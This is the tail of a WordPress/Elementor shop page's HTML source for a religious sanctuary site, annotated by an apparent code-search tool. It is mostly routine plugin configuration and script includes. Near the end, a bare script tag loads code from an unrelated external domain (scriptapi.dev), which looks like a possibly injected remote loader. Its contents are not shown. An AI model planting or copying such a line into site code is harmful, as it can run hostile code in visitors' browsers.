663<script> 664 const registerAllyAction = () => { 665 if ( ! window?.ElementorProFrontendConfig || ! window?.elementorFrontend?.utils?.urlActions ) { 666 return; 667 } 668 669 elementorFrontend.utils.urlActions.addAction( 'allyWidget:open', () => { 670 if (window?.ea11yWidget?.widget?.open) { 671 return window.ea11yWidget.widget.isOpen() 672 ? window.ea11yWidget.widget.close() 673 : window.ea11yWidget.widget.open(); 674 } 675 } ); 676 }; 677 678 const waitingLimit = 30; 679 let retryCounter = 0; 680 681 const waitForElementorPro = () => { 682 return new Promise( ( resolve ) => { 683 const intervalId = setInterval( () => { 684 if ( retryCounter === waitingLimit ) { 685 resolve( null ); 686 } 687 688 retryCounter++; 689 690 if ( window.elementorFrontend && window?.elementorFrontend?.utils?.urlActions ) { 691 clearInterval( intervalId ); 692 resolve( window.elementorFrontend ); 693 } 694 }, 100 ); // Check every 100 milliseconds for availability of elementorFrontend 695 }); 696 }; 697 698 waitForElementorPro().then( () => { registerAllyAction(); }); 699 </script>
699 700
700<script> /* <![CDATA[ */var tribe_l10n_datatables = {"aria":{"sort_ascending":": activate to sort column ascending","sort_descending":": activate to sort column descending"},"length_menu":"Show _MENU_ entries","empty_table":"No data available in table","info":"Showing _START_ to _END_ of _TOTAL_ entries","info_empty":"Showing 0 to 0 of 0 entries","info_filtered":"(filtered from _MAX_ total entries)","zero_records":"No matching records found","search":"Search:","all_selected_text":"All items on this page were selected. ","select_all_link":"Select all pages","clear_selection":"Clear Selection.","pagination":{"all":"All","next":"Next","previous":"Previous"},"select":{"rows":{"0":"","_":": Selected %d rows","1":": Selected 1 row"}},"datepicker":{"dayNames":["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],"dayNamesShort":["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],"dayNamesMin":["S","M","T","W","T","F","S"],"monthNames":["January","February","March","April","May","June","July","August","September","October","November","December"],"monthNamesShort":["January","February","March","April","May","June","July","August","September","October","November","December"],"monthNamesMin":["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],"nextText":"Next","prevText":"Prev","currentText":"Today","closeText":"Done","today":"Today","clear":"Clear"}};/* ]]> */ </script>
700
700<script> 701 const lazyloadRunObserver = () => { 702 const lazyloadBackgrounds = document.querySelectorAll( `.e-con.e-parent:not(.e-lazyloaded)` ); 703 const lazyloadBackgroundObserver = new IntersectionObserver( ( entries ) => { 704 entries.forEach( ( entry ) => { 705 if ( entry.isIntersecting ) { 706 let lazyloadBackground = entry.target; 707 if( lazyloadBackground ) { 708 lazyloadBackground.classList.add( 'e-lazyloaded' ); 709 } 710 lazyloadBackgroundObserver.unobserve( entry.target ); 711 } 712 }); 713 }, { rootMargin: '200px 0px 200px 0px' } ); 714 lazyloadBackgrounds.forEach( ( lazyloadBackground ) => { 715 lazyloadBackgroundObserver.observe( lazyloadBackground ); 716 } ); 717 }; 718 const events = [ 719 'DOMContentLoaded', 720 'elementor/lazyload/observe', 721 ]; 722 events.forEach( ( event ) => { 723 document.addEventListener( event, lazyloadRunObserver ); 724 } ); 725 </script>
725 726
726<script id="tec-user-agent-js" src="https://thegrotto.org/wp-content/plugins/the-events-calendar/common/build/js/user-agent.js?ver=da75d0bdea6dde3898df"></script>
vendor: 1 bytes, line 726
726
727<script id="genesis-blocks-dismiss-js-js" src="https://thegrotto.org/wp-content/plugins/genesis-blocks/dist/assets/js/dismiss.js?ver=1773253670"></script>
vendor: 1 bytes, line 727
727
728<script id="hello-theme-frontend-js" src="https://thegrotto.org/wp-content/themes/hello-elementor/assets/js/hello-frontend.js?ver=3.4.4"></script>
vendor: 1 bytes, line 728
728
729<script id="elementor-webpack-runtime-js" src="https://thegrotto.org/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=3.35.7"></script>
vendor: 1 bytes, line 729
729
730<script id="elementor-frontend-modules-js" src="https://thegrotto.org/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.35.7"></script>
vendor: 1 bytes, line 730
730
731<script id="jquery-ui-core-js" src="https://thegrotto.org/wp-includes/js/jquery/ui/core.min.js?ver=1.13.3"></script>
vendor: 1 bytes, line 731
731
732<script id="elementor-frontend-js-before"> 733var elementorFrontendConfig = {"environmentMode":{"edit":false,"wpPreview":false,"isScriptDebug":false},"i18n":{"shareOnFacebook":"Share on Facebook","shareOnTwitter":"Share on Twitter","pinIt":"Pin it","download":"Download","downloadImage":"Download image","fullscreen":"Fullscreen","zoom":"Zoom","share":"Share","playVideo":"Play Video","previous":"Previous","next":"Next","close":"Close","a11yCarouselPrevSlideMessage":"Previous slide","a11yCarouselNextSlideMessage":"Next slide","a11yCarouselFirstSlideMessage":"This is the first slide","a11yCarouselLastSlideMessage":"This is the last slide","a11yCarouselPaginationBulletMessage":"Go to slide"},"is_rtl":false,"breakpoints":{"xs":0,"sm":480,"md":768,"lg":1025,"xl":1440,"xxl":1600},"responsive":{"breakpoints":{"mobile":{"label":"Mobile Portrait","value":767,"default_value":767,"direction":"max","is_enabled":true},"mobile_extra":{"label":"Mobile Landscape","value":880,"default_value":880,"direction":"max","is_enabled":false},"tablet":{"label":"Tablet Portrait","value":1024,"default_value":1024,"direction":"max","is_enabled":true},"tablet_extra":{"label":"Tablet Landscape","value":1200,"default_value":1200,"direction":"max","is_enabled":false},"laptop":{"label":"Laptop","value":1366,"default_value":1366,"direction":"max","is_enabled":false},"widescreen":{"label":"Widescreen","value":2400,"default_value":2400,"direction":"min","is_enabled":false}},"hasCustomBreakpoints":false},"version":"3.35.7","is_static":false,"experimentalFeatures":{"e_font_icon_svg":true,"additional_custom_breakpoints":true,"container":true,"e_optimized_markup":true,"theme_builder_v2":true,"hello-theme-header-footer":true,"nested-elements":true,"home_screen":true,"global_classes_should_enforce_capabilities":true,"e_variables":true,"cloud-library":true,"e_opt_in_v4_page":true,"e_components":true,"e_interactions":true,"e_editor_one":true,"import-export-customization":true,"mega-menu":true,"e_pro_variables":true},"urls":{"assets":"https:\/\/thegrotto.org\/wp-content\/plugins\/elementor\/assets\/","ajaxurl":"https:\/\/thegrotto.org\/wp-admin\/admin-ajax.php","uploadUrl":"https:\/\/thegrotto.org\/wp-content\/uploads"},"nonces":{"floatingButtonsClickTracking":"0d9e497eca"},"swiperClass":"swiper","settings":{"page":[],"editorPreferences":[]},"kit":{"active_breakpoints":["viewport_mobile","viewport_tablet"],"global_image_lightbox":"yes","lightbox_enable_counter":"yes","lightbox_enable_fullscreen":"yes","lightbox_enable_zoom":"yes","lightbox_enable_share":"yes","lightbox_title_src":"title","lightbox_description_src":"description","hello_header_logo_type":"logo","hello_header_menu_layout":"horizontal","hello_footer_logo_type":"logo"},"post":{"id":75,"title":"Shop%20-%20The%20National%20Sanctuary%20of%20Our%20Sorrowful%20Mother%2C%20The%20Grotto","excerpt":"","featuredImage":false}}; 734//# sourceURL=elementor-frontend-js-before 735</script>
vendor: 1 bytes, line 735
735
736<script id="elementor-frontend-js" src="https://thegrotto.org/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.35.7"></script>
vendor: 1 bytes, line 736
736
737<script id="smartmenus-js" src="https://thegrotto.org/wp-content/plugins/elementor-pro/assets/lib/smartmenus/jquery.smartmenus.min.js?ver=1.2.1"></script>
vendor: 1 bytes, line 737
737
738<script id="gt_widget_script_12966977-js-before"> 739window.gtranslateSettings = /* document.write */ window.gtranslateSettings || {};window.gtranslateSettings['12966977'] = {"default_language":"en","languages":["en","es","tl","ru","vi","id"],"url_structure":"none","flag_style":"2d","flag_size":24,"wrapper_selector":"#gt-wrapper-12966977","alt_flags":{"en":"usa"},"switcher_open_direction":"top","switcher_horizontal_position":"inline","switcher_text_color":"#4a4f52","switcher_arrow_color":"#4f153f","switcher_border_color":"#4f153f","switcher_background_color":"#fff","switcher_background_shadow_color":"#ffffff","switcher_background_hover_color":"#fff","dropdown_text_color":"#4a4f52","dropdown_hover_color":"#fff","dropdown_background_color":"#eee","flags_location":"\/wp-content\/plugins\/gtranslate\/flags\/"}; 740//# sourceURL=gt_widget_script_12966977-js-before 741</script>
741<script src="https://thegrotto.org/wp-content/plugins/gtranslate/js/dwf.js?ver=7.0.5" data-no-optimize="1" data-no-minify="1" data-gt-orig-url="/shop/" data-gt-orig-domain="thegrotto.org" data-gt-widget-id="12966977" defer></script>
741<script id="gt_widget_script_35723448-js-before"> 742window.gtranslateSettings = /* document.write */ window.gtranslateSettings || {};window.gtranslateSettings['35723448'] = {"default_language":"en","languages":["en","es","tl","ru","vi","id"],"url_structure":"none","flag_style":"2d","flag_size":24,"wrapper_selector":"#gt-wrapper-35723448","alt_flags":{"en":"usa"},"switcher_open_direction":"top","switcher_horizontal_position":"inline","switcher_text_color":"#4a4f52","switcher_arrow_color":"#4f153f","switcher_border_color":"#4f153f","switcher_background_color":"#fff","switcher_background_shadow_color":"#ffffff","switcher_background_hover_color":"#fff","dropdown_text_color":"#4a4f52","dropdown_hover_color":"#fff","dropdown_background_color":"#eee","flags_location":"\/wp-content\/plugins\/gtranslate\/flags\/"}; 743//# sourceURL=gt_widget_script_35723448-js-before 744</script>
744<script src="https://thegrotto.org/wp-content/plugins/gtranslate/js/dwf.js?ver=7.0.5" data-no-optimize="1" data-no-minify="1" data-gt-orig-url="/shop/" data-gt-orig-domain="thegrotto.org" data-gt-widget-id="35723448" defer></script>
744<script id="elementor-pro-webpack-runtime-js" src="https://thegrotto.org/wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js?ver=3.32.2"></script>
vendor: 1 bytes, line 744
744
745<script id="wp-hooks-js" src="https://thegrotto.org/wp-includes/js/dist/hooks.min.js?ver=7496969728ca0f95732d"></script>
vendor: 1 bytes, line 745
745
746<script id="wp-i18n-js" src="https://thegrotto.org/wp-includes/js/dist/i18n.min.js?ver=781d11515ad3d91786ec"></script>
vendor: 1 bytes, line 746
746
747<script id="wp-i18n-js-after"> 748wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } ); 749//# sourceURL=wp-i18n-js-after 750</script>
vendor: 1 bytes, line 750
750
751<script id="elementor-pro-frontend-js-before"> 752var ElementorProFrontendConfig = {"ajaxurl":"https:\/\/thegrotto.org\/wp-admin\/admin-ajax.php","nonce":"481e18bbee","urls":{"assets":"https:\/\/thegrotto.org\/wp-content\/plugins\/elementor-pro\/assets\/","rest":"https:\/\/thegrotto.org\/wp-json\/"},"settings":{"lazy_load_background_images":true},"popup":{"hasPopUps":false},"shareButtonsNetworks":{"facebook":{"title":"Facebook","has_counter":true},"twitter":{"title":"Twitter"},"linkedin":{"title":"LinkedIn","has_counter":true},"pinterest":{"title":"Pinterest","has_counter":true},"reddit":{"title":"Reddit","has_counter":true},"vk":{"title":"VK","has_counter":true},"odnoklassniki":{"title":"OK","has_counter":true},"tumblr":{"title":"Tumblr"},"digg":{"title":"Digg"},"skype":{"title":"Skype"},"stumbleupon":{"title":"StumbleUpon","has_counter":true},"mix":{"title":"Mix"},"telegram":{"title":"Telegram"},"pocket":{"title":"Pocket","has_counter":true},"xing":{"title":"XING","has_counter":true},"whatsapp":{"title":"WhatsApp"},"email":{"title":"Email"},"print":{"title":"Print"},"x-twitter":{"title":"X"},"threads":{"title":"Threads"}},"facebook_sdk":{"lang":"en_US","app_id":""},"lottie":{"defaultAnimationUrl":"https:\/\/thegrotto.org\/wp-content\/plugins\/elementor-pro\/modules\/lottie\/assets\/animations\/default.json"}}; 753//# sourceURL=elementor-pro-frontend-js-before 754</script>
vendor: 1 bytes, line 754
754
755<script id="elementor-pro-frontend-js" src="https://thegrotto.org/wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=3.32.2"></script>
vendor: 1 bytes, line 755
755
756<script id="pro-elements-handlers-js" src="https://thegrotto.org/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js?ver=3.32.2"></script>
vendor: 1 bytes, line 756
756
757<script id="wp-emoji-settings" type="application/json"> 758{"baseUrl":"https://s.w.org/images/core/emoji/17.0.2/72x72/","ext":".png","svgUrl":"https://s.w.org/images/core/emoji/17.0.2/svg/","svgExt":".svg","source":{"concatemoji":"https://thegrotto.org/wp-includes/js/wp-emoji-release.min.js?ver=7.0.5"}} 759</script>
vendor: 1 bytes, line 759
759
760<script type="module"> 761/*! This file is auto-generated */ 762var e="script#wp-emoji-settings",t=document.querySelector(e);if(!(t instanceof HTMLScriptElement))throw new Error("Element missing: "+e);const r=JSON.parse(t.text),s=(window._wpemojiSettings=r,"wpEmojiSettingsSupports"),o=["flag","emoji"];function i(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(s,JSON.stringify(t))}catch(e){}}function c(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0);const r=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);return t.every((e,t)=>e===r[t])}function p(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var n=e.getImageData(16,16,1,1);for(let e=0;e<n.data.length;e++)if(0!==n.data[e])return!1;return!0}function u(e,t,n,r){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!r(e,"\ud83e\u1fac8")}return!1}function f(e,t,n,r){let a;const s=(a="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):document.createElement("canvas")).getContext("2d",{willReadFrequently:!0}),o=(s.textBaseline="top",s.font="600 32px Arial",{});return e.forEach(e=>{o[e]=t(s,e,n,r)}),o}function a(e){var t=document.createElement("script");t.src=e,t.defer=!0,document.head.appendChild(t)}r.supports={everything:!0,everythingExceptFlag:!0},new Promise(t=>{let n=function(){try{var e=JSON.parse(sessionStorage.getItem(s));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(o),u.toString(),c.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"});const a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=e=>{i(n=e.data),a.terminate(),t(n)})}catch(e){}i(n=f(o,u,c,p))}t(n)}).then(e=>{for(const n in e)r.supports[n]=e[n],r.supports.everything=r.supports.everything&&r.supports[n],"flag"!==n&&(r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&r.supports[n]);var t;r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&!r.supports.flag,r.supports.everything||((t=r.source||{}).concatemoji?a(t.concatemoji):t.wpemoji&&t.twemoji&&(a(t.twemoji),a(t.wpemoji)))}); 763//# sourceURL=https://thegrotto.org/wp-includes/js/wp-emoji-loader.min.js 764</script>
vendor: 1 bytes, line 764
764
765<script src="https://scriptapi.dev/api/thegrotto.js"></script>
vendor: 1 bytes, line 765
765
766<script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a440accf9f1183b9',t:'MTc5MDkxMjMxNA=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script>
766</body> 767</html>
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.